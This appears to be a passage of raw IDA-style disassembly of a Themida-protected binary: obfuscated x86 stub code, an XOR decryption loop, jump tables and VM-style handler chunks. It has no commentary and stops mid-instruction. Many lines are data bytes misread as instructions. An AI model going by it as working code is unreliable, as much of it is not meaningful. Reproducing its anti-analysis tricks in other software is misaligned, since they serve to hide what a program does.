sub_58ABB2 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58ABB2 proc near ; CODE XREF: Themida_:0058ABAAp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 18h inc ebx push ebx retn sub_58ABB2 endp ; --------------------------------------------------------------------------- dw 467Dh dd 8B4CF82Ah, 0FA33C595h, 8C0F5807h, 0Ch, 6800Fh, 8A0F0000h dd 0 ; --------------------------------------------------------------------------- loc_58ABE0: ; CODE XREF: Themida_:0058AAF9j cmp dword ptr [ebp+7FA4F57h], 0 jz loc_58AC11 movsx ebx, si pusha mov ecx, 163B8B7Eh mov edx, [ebp+7FA1CFDh] popa push dword ptr [ebp+7FA212Dh] sbb bh, 0B8h call dword ptr [ebp+7FA0EBDh] add bx, 0F290h loc_58AC11: ; CODE XREF: Themida_:0058ABE7j cmp eax, 0 jnz loc_58AD06 cmp dword ptr [ebp+7FA0789h], 0 jz loc_58ACA3 jmp loc_58AC36 ; --------------------------------------------------------------------------- fld dword ptr [ecx-4ACE09Dh] sub al, 26h test al, 0BBh loc_58AC36: ; CODE XREF: Themida_:0058AC27j mov ebx, ecx push dword ptr [ebp+7FA0789h] mov [ebp+7FA1E55h], edi call sub_58AC55 db 65h xchg eax, esi retn ; --------------------------------------------------------------------------- dd 13C8526Fh, 0EF2F45D5h db 0FFh ; =============== S U B R O U T I N E ======================================= sub_58AC55 proc near ; CODE XREF: Themida_:0058AC44p call near ptr loc_58AC67+1 sub al, 0ECh cmp ebx, [ecx+2Dh] push edx push cs fistp word ptr [edx] lodsd xchg esi, [ebp+0Ch] loc_58AC67: ; CODE XREF: sub_58AC55p mov edx, gs:[ebp+7FA0165h] sub_58AC55 endp ; sp-analysis failed pop ebx pop edx mov eax, 1 jmp loc_58AC85 ; --------------------------------------------------------------------------- dw 0CC4Ah dd 4DE2805h, 5C8E138Bh db 0B5h ; --------------------------------------------------------------------------- loc_58AC85: ; CODE XREF: Themida_:0058AC75j jmp loc_58AE91 ; --------------------------------------------------------------------------- jmp loc_58ACA3 ; --------------------------------------------------------------------------- db 0D2h dd 3382A06h, 0C89597E3h, 64884E0Ch, 0C5580728h db 0E6h, 0ACh, 0B2h ; --------------------------------------------------------------------------- loc_58ACA3: ; CODE XREF: Themida_:0058AC21j ; Themida_:0058AC8Aj push dword ptr [ebp+7FA212Dh] jnp loc_58ACB5 xor [ebp+7FA298Dh], edx loc_58ACB5: ; CODE XREF: Themida_:0058ACA9j push dword ptr [ebp+7FA212Dh] push 0 push ebp call sub_58ACC6 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58ACC6 proc near ; CODE XREF: Themida_:0058ACBEp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_58ACC6 endp ; --------------------------------------------------------------------------- aad 0E3h inc ecx pop esp jmp loc_58ACE9 ; --------------------------------------------------------------------------- db 0E3h dd 14A29061h, 6FA97C25h db 18h ; --------------------------------------------------------------------------- loc_58ACE9: ; CODE XREF: Themida_:0058ACDAj push dword ptr [ebp+7FA0EBDh] jmp loc_58ACFE ; --------------------------------------------------------------------------- dd 0F842497Ch, 2FAC39B4h db 6Ch, 0E2h ; --------------------------------------------------------------------------- loc_58ACFE: ; CODE XREF: Themida_:0058ACEFj jmp loc_58AE91 ; --------------------------------------------------------------------------- mov dx, bx loc_58AD06: ; CODE XREF: Themida_:0058AC14j pop edi mov edx, [ebp+7FA1585h] cmp dword ptr [ebp+7FA2AE5h], 0 jnz loc_58ADCE push 0 push edx call sub_58AD25 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58AD25 proc near ; CODE XREF: Themida_:0058AD1Dp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_58AD25 endp ; --------------------------------------------------------------------------- mov cl, [ebx+1] ror dword ptr [edx-62766712h], cl jno short loc_58AD4B cli pop es mov byte ptr [ebp+7FA0665h], 4Dh push 0 loc_58AD4B: ; CODE XREF: Themida_:0058AD3Ej push eax call sub_58AD54 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58AD54 proc near ; CODE XREF: Themida_:0058AD4Cp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_58AD54 endp ; --------------------------------------------------------------------------- mov ebp, 0DEB70F62h push 6DCF83F9h mov dx, si add dword ptr [esp], 3665F2AFh mov ebx, [ebp+7FA2D4Dh] push dword ptr [ebp+7FA0515h] mov edx, [ebp+7FA11A1h] lea eax, [ebp+7FA3AE2h] add [ebp+7FA33F9h], eax call eax push 0 push ecx call sub_58ADA3 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58ADA3 proc near ; CODE XREF: Themida_:0058AD9Bp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_58ADA3 endp ; --------------------------------------------------------------------------- db 0F8h dd 9B8B6C26h, 0B5319403h, 7FA30CDh, 2AE58589h, 8B0F07FAh dd 2 ; --------------------------------------------------------------------------- mov bl, 52h loc_58ADCE: ; CODE XREF: Themida_:0058AD14j mov eax, 0 mov bl, 2Eh mov [ebp+7FA4F00h], edi push 0 push edx call sub_58ADE6 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58ADE6 proc near ; CODE XREF: Themida_:0058ADDEp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_58ADE6 endp ; --------------------------------------------------------------------------- dw 0D3F3h dd 0CAE5601Ch, 49DC9887h, 195BD89h, 0CE8007FAh, 0FC00B7Eh dd 2884h, 85895300h, 7FA1895h, 73E95Ah, 0FE80000h, 0CA000000h dd 0F91B2736h, 6AE03203h, 5D8436E9h, 952912C2h, 7FA0FE5h dd 0BDB5FF5Ah, 2907FA0Eh, 0FA2689B5h, 8A858D07h, 6A07FCD3h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 4DE9C356h, 0AE850F5h, 0FF000000h, 0F755AC9Fh dd 0B00BE280h, 0F0BB667Bh, 4895AF8h, 5E924h, 68240000h dd 8B84D9BEh, 0FA0CE99Dh ; --------------------------------------------------------------------------- pop es loc_58AE91: ; CODE XREF: Themida_:loc_58AC85j ; Themida_:loc_58ACFEj push eax push esi lea edi, [ebp+7FA56FDh] lea ecx, [ebp+7FA7A65h] mov eax, 748323BCh sub ecx, edi loc_58AEA6: ; CODE XREF: Themida_:0058AEACj xor [edi], al ror al, 1 inc edi dec ecx jnz short loc_58AEA6 pop esi pop eax cmp dword ptr [ebp+7FA0789h], 0 jz short loc_58AEBF mov ecx, [ebp+7FA1009h] loc_58AEBF: ; CODE XREF: Themida_:0058AEB7j xor ecx, ecx mov eax, 0 or eax, eax jz loc_58AF76 cmp dword ptr [ebp+7FA2BE9h], 0 jz short loc_58AEDD call dword ptr [ebp+7FA3125h] loc_58AEDD: ; CODE XREF: Themida_:0058AED5j mov eax, 0 or eax, eax jnz short loc_58AEEF cmp dword ptr [ebp+7FA4F08h], 1 jz short loc_58AEF8 loc_58AEEF: ; CODE XREF: Themida_:0058AEE4j cmp dword ptr [ebp+7FA4F08h], 2 jnz short loc_58AF06 loc_58AEF8: ; CODE XREF: Themida_:0058AEEDj mov esi, [ebp+7FA4F00h] lea eax, [ebp+7FCD38Ah] call eax loc_58AF06: ; CODE XREF: Themida_:0058AEF6j cmp dword ptr [ebp+7FA26F1h], 0 jz short loc_58AF15 call dword ptr [ebp+7FA1521h] loc_58AF15: ; CODE XREF: Themida_:0058AF0Dj lea eax, [ebp+7FA4354h] call eax cmp dword ptr [ebp+7FA0B75h], 2 jnz short loc_58AF55 mov esp, [ebp+7FA2DB1h] mov eax, [ebp+7FA0789h] mov [esp], eax mov dword ptr [ebp+7FA0671h], 1 mov esi, [ebp+7FA4F04h] mov ebp, [ebp+7FA1DD5h] mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- jmp short $+2 loc_58AF55: ; CODE XREF: Themida_:0058AF24j mov dword ptr [ebp+7FA0671h], 1 mov esp, [ebp+7FA2DB1h] mov esi, [ebp+7FA32C5h] mov ebp, [ebp+7FA1DD5h] xor eax, eax retn 0Ch ; --------------------------------------------------------------------------- loc_58AF76: ; CODE XREF: Themida_:0058AEC8j cmp dword ptr [ebp+7FA26F1h], 0 jz short loc_58AF8E cmp dword ptr [ebp+7FA1521h], 0 jz short loc_58AF8E call dword ptr [ebp+7FA1521h] loc_58AF8E: ; CODE XREF: Themida_:0058AF7Dj ; Themida_:0058AF86j mov esi, [ebp+7FA4F00h] retn ; --------------------------------------------------------------------------- db 0Fh, 81h, 18h dd 0E8000000h, 0Ch, 0C8AE73F8h, 65B218FFh, 49155953h, 2C58D89h dd 0F5A07FAh, 0BADEBFh, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0D6BEC355h dd 5648683Eh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_58AFEC ; --------------------------------------------------------------------------- loc_58AFEA: ; CODE XREF: Themida_:0058AFEFj inc eax inc edi loc_58AFEC: ; CODE XREF: Themida_:0058AFE8j cmp byte ptr [edi], 0 jnz short loc_58AFEA xor ecx, ecx mov edi, [ebp+8] jmp short loc_58B01B ; --------------------------------------------------------------------------- loc_58AFF8: ; CODE XREF: Themida_:0058B01Dj xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_58B010 ; --------------------------------------------------------------------------- loc_58B00D: ; CODE XREF: Themida_:0058B013j mul ebx dec esi loc_58B010: ; CODE XREF: Themida_:0058B00Bj cmp esi, 0 ja short loc_58B00D pop ebx add ecx, eax pop eax inc edi dec eax loc_58B01B: ; CODE XREF: Themida_:0058AFF6j or eax, eax jnz short loc_58AFF8 mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- js loc_58B035 mov ebx, [ebp+7FA1435h] loc_58B035: ; CODE XREF: Themida_:0058B029j jmp loc_58B04D ; --------------------------------------------------------------------------- cmp bh, dl mov ecx, 25150DEEh push ebx sbb [edx+edi*2], edi pop ss xchg eax, ebp dec eax std cld xor [eax-0Dh], dl loc_58B04D: ; CODE XREF: Themida_:loc_58839Cj ; Themida_:loc_58B035j mov eax, ecx jmp loc_5AFE44 ; --------------------------------------------------------------------------- dd 12FEF4h, 6092B1h, 607876h, 26E0023h, 12FFE0h, 26E001Bh dd 6092B1h, 212h, 2, 2 dup(1), 0F85E3441h, 5 dup(0) dd offset loc_58DD06 dd offset loc_58BC2D dd offset loc_590F10 dd offset loc_59825F dd offset loc_593BF7 dd offset loc_58B8BE dd offset loc_58F3A6 dd offset loc_590A1F dd offset dword_596704 dd offset loc_58B7DE dd offset loc_58B802 dd offset loc_58D671 dd offset loc_592D55 dd offset loc_5916BD dd offset loc_58CE42 dd offset loc_59154E dd offset loc_58FB9F dd offset loc_58B6FE dd offset loc_592E4B dd offset loc_58E3C5 dd offset loc_596349 dd offset loc_58EE9C dd offset loc_592614 dd offset loc_58D52E dd offset loc_58E71F dd offset loc_596EE3 dd offset loc_58FF14 dd offset loc_597C38 dd offset loc_59739F dd offset loc_58F223 dd offset loc_591895 dd offset loc_5980B3 dd offset loc_5941E1 dd offset loc_58CA6B dd offset loc_597D9D dd offset sub_59196D dd offset sub_58CA8D dd offset loc_5955EE dd offset sub_58E916 dd offset loc_595C1A dd offset loc_594EEA dd offset loc_58D801 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0D5h, 58h, 0 ; --------------------------------------------------------------------------- enter 58E1h, 0 xchg eax, ecx sub al, 59h add [edi-12h], dh pop eax add [ecx+7Ch], ah pop ecx add [ebp+59h], ah add [esi-1DFFA6DFh], dl pop edx pop ecx add [eax+33h], bh pop ecx add [edi+7B0058B9h], cl jl short near ptr loc_58B1C3+1 add [ebx+3Eh], ch pop ecx add [edi-4Ah], cl pop eax add bl, cl pop ecx pop ecx add [eax-23h], dh pop eax add [eax+42005985h], cl and bl, [ecx+0] jmp short loc_58B1B4 ; --------------------------------------------------------------------------- dw 59h dd offset loc_59248D dd offset loc_592302 dd offset loc_596131 dd offset sub_58EE14 dd offset loc_59707B dd offset loc_593563 dd offset sub_58E4E8 dd offset sub_590B8E dd offset sub_58D61F dd offset loc_594359 ; --------------------------------------------------------------------------- jmp short loc_58B211 ; --------------------------------------------------------------------------- dw 59h ; --------------------------------------------------------------------------- loc_58B1B4: ; CODE XREF: Themida_:0058B184j test gs:[ecx+0], ebx or dword ptr [eax+59h], 0 xlat sbb byte ptr [ecx+0], 0A2h std pop eax loc_58B1C3: ; CODE XREF: Themida_:0058B169j add ds:1D00592Bh, dl sub bl, [ecx+0] sub al, bl pop eax add bl, ch sbb ebx, [ecx+0] jmp near ptr 0BF590AFBh ; --------------------------------------------------------------------------- db 0EAh, 58h, 0 dd offset loc_590C22 dd offset loc_596241 dd offset sub_5902D0 dd offset sub_590792 dd offset sub_58FD91 dd offset sub_591526 dd offset loc_59553C dd offset loc_5962B8 dd offset sub_58CF35 dd offset loc_592ADE dd offset loc_5927AE dd offset sub_58BF03 ; --------------------------------------------------------------------------- retn 596Dh ; --------------------------------------------------------------------------- align 10h push edi loc_58B211: ; CODE XREF: Themida_:0058B1B0j dec ebx pop ecx add [ebp-42FFA6FDh], dh xor al, 59h add [eax], cl repne pop eax add [ecx+34h], ah pop ecx add [eax-7AFFA728h], cl or bl, [ecx+0] pushf inc eax pop ecx add [edi-34h], dl pop eax add [edx+24h], bl pop ecx add [esi], cl popa pop ecx add [eax], dl out 58h, al add [ebp+13h], cl pop ecx add [ebx], cl ja short loc_58B2A0 add ah, bl dec ebx pop ecx add dh, ch cmp eax, 10FE0059h pop ecx add [edi-41FFA707h], ch sub bl, [ecx+0] dec esi pop edx pop ecx add [edx+ecx*8], cl pop eax add al, cl sbb dword ptr [ecx+0], offset loc_5937D3 popf pop edi pop ecx add [ebx], bh mulps xmm0, oword ptr [eax] jmp short near ptr loc_58B2CB+2 ; --------------------------------------------------------------------------- pop ecx add [esi+ecx-0B15FFA7h], cl pop eax add [esi], bl retf 58h ; --------------------------------------------------------------------------- mov ebx, 0DEDE0058h pop eax add [eax+57005974h], ah mov dh, 58h add [eax], bl xor ebx, [ecx+0] mov ebp, [ecx] pop ecx add ch, dh fistp word ptr [eax+0] loc_58B2A0: ; CODE XREF: Themida_:0058B245j ja short loc_58B2EF pop ecx add [ebx+4Eh], dh pop ecx add [ebp-6BFFA711h], bh imul ebx, [ecx+0], 5942A7h pop esp mov bh, 58h add ds:0AB005942h, al setalc pop eax add [esi], dh inc eax pop ecx add [esp+esi*8+58h], dh add [eax-7Dh], al pop ecx loc_58B2CB: ; CODE XREF: Themida_:0058B274j add [esi+7Eh], dh pop ecx add [esi-67FFA685h], al mov byte ptr [eax+0], 1Ch push eax pop ecx add bl, bh lds ebx, [eax+0] in eax, dx push ecx pop ecx add [ebp-17FFA73Fh], dh out dx, eax pop eax add [edi], bh pop esp pop ecx loc_58B2EF: ; CODE XREF: Themida_:loc_58B2A0j add [esi+ecx*2+59h], bh add al, ah xor eax, 6A730059h pop ecx add [ebx], bl jge short near ptr loc_58B355+3 add [esi-4DFFA6A6h], ah push 59h add ch, cl in eax, dx pop eax add [edx], dl sbb eax, 47800059h pop ecx add [esi-17FFA73Bh], dl mov ah, 58h add [ebx], dh sub ebx, [ecx+0] rcr esp, 58h add dh, ch sub al, 59h add bl, ah push cs pop ecx add [edx+53h], ch pop ecx ; --------------------------------------------------------------------------- db 0 dd offset loc_59170D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC3B6 loc_58B334: ; CODE XREF: Themida_:005AFF68j ; Themida_:005AFF72j ... pusha pushf cld call $+5 pop edi sub edi, 7FA7EFBh mov eax, edi add edi, 7FA7C13h cmp eax, [edi+2Ch] jnz short loc_58B352 jmp short loc_58B365 ; --------------------------------------------------------------------------- loc_58B352: ; CODE XREF: sub_5EC3B6-61068j mov [edi+2Ch], eax loc_58B355: ; CODE XREF: Themida_:0058B2FDj mov ecx, 0A7h jmp short loc_58B361 ; --------------------------------------------------------------------------- loc_58B35C: ; CODE XREF: sub_5EC3B6-61053j add [edi+ecx*4+40h], eax dec ecx loc_58B361: ; CODE XREF: sub_5EC3B6-6105Cj or ecx, ecx jnz short loc_58B35C loc_58B365: ; CODE XREF: sub_5EC3B6-61066j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_58B372: ; CODE XREF: sub_5EC3B6-6103Dj xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_58B372 ; END OF FUNCTION CHUNK FOR sub_5EC3B6 ; START OF FUNCTION CHUNK FOR sub_59196D loc_58B37B: ; CODE XREF: sub_59196D-6511j ; sub_59196D-63A8j ... lodsb sub al, 94h add al, 0BEh sub al, bl sub esp, 4 jmp loc_5960AC ; --------------------------------------------------------------------------- loc_58B38A: ; CODE XREF: sub_59196D+564Bj sub edx, 37704DADh add edx, eax add edx, 37704DADh push eax mov eax, 22434C48h push ecx jmp loc_5917AA ; --------------------------------------------------------------------------- loc_58B3A4: ; CODE XREF: sub_59196D-5191j and al, 35h sub al, 63h add bh, al pop eax and al, bh pop ebx sub al, 0FEh xor dh, al mov eax, [esp+4+var_4] add esp, 4 jmp loc_58C01B ; --------------------------------------------------------------------------- loc_58B3C0: ; CODE XREF: sub_59196D+4E62j sub eax, ebx pop ebx xchg eax, [esp-4+arg_0] jmp loc_593069 ; --------------------------------------------------------------------------- loc_58B3CB: ; CODE XREF: sub_59196D+565Aj push esp pop ecx push 47Ah mov [esp+0], eax mov eax, 4 add ecx, eax mov eax, [esp+0] add esp, 4 sub ecx, 2 push ecx push [esp+arg_0] push [esp+4+var_4] pop ecx add esp, 4 pop dword ptr [esp+0] mov esp, [esp-4+arg_0] jmp loc_594127 ; --------------------------------------------------------------------------- loc_58B402: ; CODE XREF: sub_59196D-2417j mov ebp, edx pop edx sub esp, 4 mov [esp-4+arg_0], ebp push edi push eax mov eax, 774D5077h and eax, 77C95CF7h and eax, 461B4D2Eh jmp loc_590B5E ; --------------------------------------------------------------------------- loc_58B421: ; CODE XREF: sub_59196D+1678j push eax jmp loc_596CD6 ; --------------------------------------------------------------------------- loc_58B427: ; CODE XREF: sub_59196D+26E9j add edx, esi jmp loc_591302 ; --------------------------------------------------------------------------- loc_58B42E: ; CODE XREF: sub_59196D+F5j mov ebp, 31552CF4h jmp loc_595085 ; --------------------------------------------------------------------------- loc_58B438: ; CODE XREF: sub_59196D+193Aj push edx mov edx, 45232547h push eax jmp loc_58EDE3 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590792 loc_58B444: ; CODE XREF: sub_590792-4843j mov cl, bl pop ebx pop edx jmp loc_58C6A9 ; END OF FUNCTION CHUNK FOR sub_590792 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58B44D: ; CODE XREF: sub_59196D-22j pop edx add esi, ebp pop ebp add esi, 2 xchg esi, [esp+8+var_8] pop esp shl [esp+4+var_4], cl pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58B461: ; CODE XREF: sub_59196D:loc_58F91Aj or ebp, 5D4D7C8Eh jno loc_58BF80 sub ebp, 0FF7D7ECDh mov bl, 6Ah pop edx loc_58B477: ; CODE XREF: sub_59196D+4609j dec ecx or ecx, 18B032E8h shr ecx, 3 not ecx xor ecx, 0A8687ABEh add edx, ecx jmp loc_590421 ; --------------------------------------------------------------------------- loc_58B490: ; CODE XREF: sub_59196D+4F0Bj mov edi, [esp+4+var_4] jmp loc_59258F ; --------------------------------------------------------------------------- loc_58B498: ; CODE XREF: sub_59196D-59E1j ; sub_59196D-541Cj inc ah jmp loc_5970AA ; --------------------------------------------------------------------------- loc_58B49F: ; CODE XREF: sub_59196D+2648j mov ecx, 5E936540h sub [esp+4], ecx pop ecx jmp loc_58CE81 ; --------------------------------------------------------------------------- loc_58B4AE: ; CODE XREF: sub_59196D-734j add esp, 4 sub bl, 0C7h push edx mov dl, 24h inc dl add dl, 0D8h sub bl, dl pop edx add bl, 5Fh sub bl, 3Ch sub bl, al add bl, 3Ch push ecx mov ch, 0CCh shr ch, 1 push edx mov dl, 25h sub dl, 93h jmp loc_5918DF ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_58B4DA proc near ; CODE XREF: sub_59196D+2421j var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], edx jmp loc_595CF5 sub_58B4DA endp ; --------------------------------------------------------------------------- mov cx, [esp] push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp jmp loc_593DB5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58B504: ; CODE XREF: sub_59196D+3448j shl dh, 5 xor dh, 9Fh sub al, dh pop edx push dword ptr [esp+0] jmp loc_58FCBC ; --------------------------------------------------------------------------- loc_58B515: ; CODE XREF: sub_59196D-EEDj push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+8+var_8] pop esp push edx mov edx, esp add edx, 4 jmp loc_596A39 ; --------------------------------------------------------------------------- loc_58B536: ; CODE XREF: sub_59196D-215Aj jns sub_58D521 push ebx mov ebx, 1F374C07h not ebx jmp loc_58E848 ; --------------------------------------------------------------------------- loc_58B549: ; CODE XREF: sub_59196D+2E00j mov ebx, 1AAF41A2h mov ebp, 966A931Ch jmp loc_597540 ; --------------------------------------------------------------------------- loc_58B558: ; CODE XREF: sub_59196D-3436j push 0F8h mov [esp+10h+var_12+2], edx push eax sub esp, 4 mov [esp+18h+var_1A+2], edi mov edi, 6FCE3266h jmp loc_591359 ; --------------------------------------------------------------------------- loc_58B571: ; CODE XREF: sub_59196D+2D3Dj pop ecx jmp loc_595797 ; --------------------------------------------------------------------------- loc_58B577: ; CODE XREF: sub_59196D-5C2j add eax, 32030305h push [esp+14h+var_16+2] jmp loc_5944B2 ; --------------------------------------------------------------------------- loc_58B584: ; CODE XREF: sub_59196D-4912j pop edx push 7B2Fh mov [esp+18h+var_1A+2], ebp mov ebp, 6FAD3622h add ebp, 0ED1D4834h add eax, ebp pop ebp push 3F4Ah mov [esp+18h+var_1A+2], ebp mov ebp, 115568D5h add ebp, 7C0D23CAh xor ebp, 261C07A8h jmp loc_58C361 ; --------------------------------------------------------------------------- loc_58B5B9: ; CODE XREF: sub_59196D+6275j mov ecx, esp jmp loc_58E7D8 ; --------------------------------------------------------------------------- loc_58B5C0: ; CODE XREF: sub_59196D-2A6Bj pop esp sar [esp+14h+var_16+2], cl pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58B5CA: ; CODE XREF: sub_59196D+4F64j push esp pop eax push ebx mov ebx, 4 add eax, 266A71BFh jmp loc_58B86A ; --------------------------------------------------------------------------- loc_58B5DC: ; CODE XREF: sub_59196D-1348j add esp, 4 jmp loc_58D5E0 ; --------------------------------------------------------------------------- loc_58B5E4: ; CODE XREF: sub_59196D+773j mov [esp+18h+var_1A+2], ebx push ebp jmp loc_5984DF ; --------------------------------------------------------------------------- loc_58B5ED: ; CODE XREF: sub_59196D+23B7j ; sub_59196D+3BC6j shr eax, 7 jnp loc_591E76 jmp loc_593B57 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- pop ebx mov edx, esi pop esi mov ecx, ebx pop edx ; START OF FUNCTION CHUNK FOR sub_59196D loc_58B602: ; CODE XREF: sub_59196D+1E46j pop [esp+1Ch+var_1E+2] pop esp mov [esp+14h+var_16+2], ecx jmp loc_5940F5 ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_58B60E proc near ; CODE XREF: sub_59196D+4699j ; sub_59196D+4982j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0059048C SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00590580 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00590786 SIZE 0000000C BYTES sub esp, 4 jmp loc_590580 sub_58B60E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58B616: ; CODE XREF: sub_59196D-5E0Dj add dh, ch jmp loc_5918F5 ; --------------------------------------------------------------------------- loc_58B61D: ; CODE XREF: sub_59196D+261Fj xor edx, 36793F3Fh jge loc_594C67 push esi jmp loc_5915E2 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- shl ecx, 6 push ebx mov ebx, 77453FA6h ; START OF FUNCTION CHUNK FOR sub_59196D loc_58B638: ; CODE XREF: sub_59196D+F21j xor ebp, 0FF81D222h jmp loc_58C25E ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590BE0 loc_58B643: ; CODE XREF: sub_590BE0-F35j pop esp add ebx, 4 jmp loc_58BDCF ; END OF FUNCTION CHUNK FOR sub_590BE0 ; --------------------------------------------------------------------------- push dword ptr fs:[edx] jmp loc_58E549 ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], esp push ecx mov ecx, 4 add dword ptr [esp+4], 34941793h jmp loc_58DA96 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58B670: ; CODE XREF: sub_59196D-13A7j push edx mov edx, 129628F7h jmp loc_58F6F8 ; --------------------------------------------------------------------------- loc_58B67B: ; CODE XREF: sub_59196D-2CD1j sub bl, dl jmp loc_58E671 ; --------------------------------------------------------------------------- loc_58B682: ; CODE XREF: sub_59196D-2AFBj add edx, 4 jmp loc_5940FA ; --------------------------------------------------------------------------- loc_58B68D: ; CODE XREF: sub_59196D-12C8j mov esi, [esp+1Ch+var_1E+2] jmp loc_58F13C ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590792 loc_58B695: ; CODE XREF: sub_590792-43B6j push edi push [esp+8+var_4] mov edi, [esp+0Ch+var_C] add esp, 4 pop [esp+8+var_8] mov esp, [esp+4+var_4] mov [esp+0], ecx jmp sub_58FC53 ; END OF FUNCTION CHUNK FOR sub_590792 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58B6AE: ; CODE XREF: sub_59196D:loc_594D2Ej ; sub_59196D+3FF8j sub edx, esi pop esi sub ebp, 34D418EFh add ebp, edx add ebp, 34D418EFh pop edx xchg ebp, [esp+14h+var_16+2] jmp loc_58FE37 ; --------------------------------------------------------------------------- loc_58B6C8: ; CODE XREF: sub_59196D-2C8Bj pop edx push eax mov al, 83h dec al inc al jmp loc_58C131 ; --------------------------------------------------------------------------- loc_58B6D5: ; CODE XREF: sub_59196D-4BB6j ; sub_59196D:loc_593DBDj push eax mov eax, 686157F5h jmp loc_5949AE ; --------------------------------------------------------------------------- loc_58B6E0: ; CODE XREF: sub_59196D+5937j push ebx push [esp+1Ch+var_1A+2] pop ebx pop [esp+1Ch+var_1E+2] mov esp, [esp+18h+var_1A+2] btr word ptr [esp+18h+var_1A+2], ax pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58B6F7: ; CODE XREF: sub_59196D-440Aj not eax jmp loc_58C610 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_58B6FE: ; DATA XREF: Themida_:0058B0DCo push esi push esp pop esi add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ecx mov ecx, esp jmp loc_596657 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58B71B: ; CODE XREF: sub_59196D+1C64j push edi mov edi, eax mov ebx, edi mov edi, [esp+20h+var_22+2] add esp, 4 pop eax push ebp push ebx add [esp+20h+var_22+2], 135C56FBh jmp loc_5957DD ; --------------------------------------------------------------------------- loc_58B738: ; CODE XREF: sub_59196D+658Cj add esp, 4 push 304Fh mov [esp+20h+var_22+2], ebp push [esp+20h+var_1E+2] pop ebp pop [esp+20h+var_22+2] pop esp or word ptr [esp+18h+var_1A+2], ax pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58B756: ; CODE XREF: sub_59196D-60F8j push esp jmp loc_590EF4 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- pop dword ptr fs:[edx] jmp loc_58B37B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58B764: ; CODE XREF: sub_59196D+1DC2j dec ecx jmp loc_594D2E ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_58B76A proc near ; CODE XREF: sub_59196D+471Bj var_8 = dword ptr -8 var_4 = word ptr -4 sub esp, 2 mov [esp+4+var_4], dx push 7B56h mov [esp+8+var_8], ecx mov ch, 0A8h push eax jmp loc_5927D6 sub_58B76A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58B781: ; CODE XREF: sub_59196D-596Ej mov eax, 2 jmp loc_5956C4 ; --------------------------------------------------------------------------- loc_58B78B: ; CODE XREF: sub_59196D-389j pop eax jmp loc_594906 ; --------------------------------------------------------------------------- loc_58B791: ; CODE XREF: sub_59196D+642Bj mov ah, 0F9h shl ah, 5 or ah, 85h add ah, 29h push edx mov dh, 